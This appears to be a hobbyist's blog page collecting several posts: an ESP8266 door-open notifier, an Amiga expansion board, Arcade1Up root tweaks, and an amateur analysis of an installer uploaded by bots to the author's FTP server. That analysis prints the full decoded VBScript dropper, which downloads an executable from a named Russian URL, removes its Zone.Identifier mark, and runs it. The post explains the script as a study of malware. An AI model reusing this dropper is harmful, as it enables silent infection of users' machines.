blog.jmp.no

First post of the year! It's like I'm on a.. roll...

The door to my radio shack lives its own life. It occasionally pops open, even though it seems shut and locked. It's not just a door to another room, it's an exterior door. To the outside world. This is problematic for obvious reasons, so let's find a fix for it.

Now, before you ask, this is a massive door with a special lock, so it's not easily replaceable. Keep in mind this used to be a utility shed. I'll get around to fixing it properly one day, but until then I'll need some sort of knowing if it's open or not. And, hey, it's not like I needed an excuse to make something new.

I found the perfect case for this project as I was fixing the downlights in our kitchen hood. Turns out the power supply was bust, so I had to get a replacement. However, the old power supply's case was pretty neat so I decided to repurpose it.

I collected a few parts for this project: a 9V battery, 5v switch mode voltage regulator, a microswitch with a long arm, and an ESP8266 WiFi module. All parts in stock. The basic idea was to have it send me a notification on my mobile phone whenever the door is open. Experimenting with the case was a dream, and as you can see from the picture blow, all the parts fit quite nicely. The only modification I did was adding stick-on cable ties, which also mounts the ESP8266 module board.

The circuit is wired so that the ESP8266 only gets power when the microswitch is open. This means the 9V battery is disconnected most of the time, and could potentially last for years.

I wrote a simple program that connects to my wireless network and sends a push notification to my mobile phone. Now, if the door is open for more than 10 seconds (which is the time it takes to boot, connect to my wifi and send the push transaction) I get a notification, regardless of where I am in the world.

Here is the current placement of the device. I'm leaving it here while testing it out, but will find a better, more discrete location for it later.

Also, I should update this blog more often. My last post was written in August last year, holy shit.

There's a joke that goes something like this.

- "Timing!"
- "What is the most important part of a joke?"

And, as it turns out, timing is apparently quite important for my code as well. My original timing was way off, but after removing a bunch of unnecessary delays, speeding up the ATmega clock, and pulling a few more tricks, the code gradually started working.

I'm still experiencing some issues now and then, but this becomes increasingly rare as the code gets more mature every day.

Have a look at the video below for a quick summary. Apart from the APECAT board, this Amiga has nothing attached.

As much as I hate hearing my own voice, I've made a short clip here explaining how the board works, including a short demo of it.

Even though this was just a silly test program in this video, we can go deeper and think bigger. We can patch the system kickstart and do all sorts of magic behind the scenes, as we now have complete control over the system.

Right now I'll start drawing revision 2 of the PCB and we'll see where that takes us. I'm aiming for infinity and beyond.

(Thanks to commenter John ][ for inadvertently having me take another look at the code)

Ok, now that you've waited long for a post, I guess your expectations are equally low. So here's The World's Least Exciting Adventure in reverse-engineering and hacking exploration.

You see, I run an FTP server. It comes in quite handing when moving files quickly between platforms that lack the necessary tools for things like ssh/scp and so on. Like an Amiga 600, for example.

Anyway, on this FTP server I have foolishly allowed for anonymous FTP uploads. Not downloads, mind you, I have no interest in serving files for the dark web and ending up on the naughty list. Once a file is uploaded it is unreadable for anonymous users.

I visit the incoming directory once every blue moon, just to clean up the mess of files uploaded by what's apparently bots. Files like Photo.scr, GXHLGSL.txt, info.zip, IMG001.exe and so on. I remove them, but they reappear after a while, when the next bot stops by.

The uploaded files are obviously viruses, randomware, backdoor installers or something along those lines, but the curiosity got the best of me, so I executed IMG001.exe to see what happened.

Just kidding, I didn't execute it, but I ran the strings command on Linux on it, just to have a peek at its contents, and maybe get a clue. After scrolling through a couple of pages of garbage, some interesting data started to appear -- there were traces of an installer! This file is actually generated by a genuine installer, NSIS version 2.46.

What's even better is that 7zip will gladly extract the installer package without hesitation. Not the installer script per se, but the contents embedded.

I was left with one file, info.vbe, which I suspect the installer would have configured to be executed automatically, maybe as a start-up item. The .vbe extension means this file is an encrypted Visual Basic script, so it's unreadable as-is. Luckily, a guy called Didier Stevens did a decoder in Python, which runs just fine under Linux. Running his script on the vbe file revealed the following short, but simple script:

Set WshShell = CreateObject("WScript.Shell")
If Instr(1,WScript.FullName,"WScript.exe",1)>0 Then
  WshShell.Run "CScript """&WScript.ScriptFullName&"""",0: WScript.Quit
End if
Tmp=WshShell.ExpandEnvironmentStrings("%TEMP%")&"\tmp2.exe"
strFileURL = "http://www.testswork.ru/tmp2.exe"
strHDLocation = Tmp
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1

objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0

Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if

Set objXMLHTTP = Nothing
Echo=DosCommand("cmd /c (echo [ZoneTransfer] & echo ZoneId=0) > "&Tmp&":Zone.Identifier",2000)
Echo=DosCommand("cmd /c "&Tmp&" ",2000)

WScript.Quit
Function DosCommand(command,sleep)
  Set WshExec=WshShell.Exec(command): WScript.Sleep sleep: WshExec.Terminate()
  DosCommand=WshExec.StdOut.ReadAll

In short, it tries to download tmp2.exe from a (presumably compromised) website in Russia, and then execute it. What this tmp2.exe file does is hard to tell, as it was deleted from the web server at the time of testing. As I mentioned earlier, I guess we could expect some sort of ransomware, virus, botnet client, crypto miner or something similar.

Super simple, super stupid. But since it's a thing, I guess it works.

The next time the file appears I'll be quicker and have a look at the file it wants to download as well.

Maybe you've experienced the same and wanted to know, too. In that case, now you do - at least a portion of it.

I feel I've had my share of luck with the arcade lately, so I thought hey, why not push it a bit further? It's not over until the box is bricked and I'm all tears and regret. All of these tips require that you have root access on it already.

Boot faster!

The boot process is actually very fast, but the arcade has a few built-in splash screens, which not only takes time to play out, but is also followed by seconds of doing nothing - scripted delays. This happens in /etc/init.d/S99game, and can be removed by adding the # symbol to comment out the lines. By disabling the following lines you will shave a solid 13 seconds off the boot time:

#./mplayer -af volume=-19 -softvol -softvol-max 100 arcade1up.avi
#sleep 1
#cat /root/565/legal.565 > /dev/fb0
#sleep 5

..and the device now boots in less than 6 seconds - that's not too shabby!

Overclock it!

The Linux installation supports frequency scaling, and the current speed can be read with

# cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq

If your arcade is like mine, it should output 1008000. As you can see it's currently set to 1GHz, but the CPU is capable of so much more. I used a stick-on heat sink to assist the cooling a little bit.

Heatsink installed

You can list the supported frequencies with the following command:

# cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_available_frequencies

30000 48000 60000 72000 84000 96000 108000 120000 132000 144000
156000 168000 180000 192000 204000 216000 240000 264000 288000
300000 336000 360000 384000 408000 432000 480000 528000 576000
600000 648000 672000 696000 720000 744000 768000 816000 864000
912000 960000 1008000 1056000 1104000 1152000 1200000 1248000
1296000 1344000 1392000 1440000 1488000

..but that doesn't mean you can pick from the top shelf. I found that my arcade runs stable at 1.248 GHz. Any higher and it will crash immediately.

# echo 1248000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq

Add this to one of the startup files if you want it permanently. For me, I'm still just playing around with it to see what it's capable of.

Low on disk space? Use a memory stick.

Some games are demanding in terms of disk space. If you added the USB port, you can use an USB stick for extra storage. You can mount it as

# mount /dev/uba1 /mnt/udisk

..provided that you have the same partition scheming as I do. You can symlink the games from /root/roms or reconfigure the roms directory in mame.ini.

Reassembled with USB hub and memory stick

As you can see, there's also no problem introducing a USB hub to the equation, in case you want the keyboard and the USB stick connected simultaneously.